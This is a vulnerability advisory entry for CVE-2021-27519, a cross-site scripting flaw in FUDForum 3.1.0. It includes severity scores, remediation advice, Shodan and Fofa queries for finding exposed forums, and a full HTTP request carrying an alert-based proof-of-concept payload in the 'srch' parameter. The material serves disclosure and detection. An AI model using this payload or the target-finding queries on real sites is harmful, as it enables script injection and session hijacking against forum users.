| Title | FUDForum 3.1.0 - Cross-Site Scripting |
|---|---|
| Author | kh4sh3i |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0383 |
| CVE ID | CVE-2021-27519 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"Powered by: FUDforum"http.html:"fudforum"http.html:"powered by: fudforum" |
| Fofa Query | body="powered by: fudforum"body="fudforum" |
| Tags | cve2021 cve xss fudforum edb packetstorm vuln |
FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the “srch” parameter.
GET /index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13) AppleWebKit/619.4 (KHTML, like Gecko) Version/16.1.13 Safari/619.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27519.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27519.pcap
N/AN/A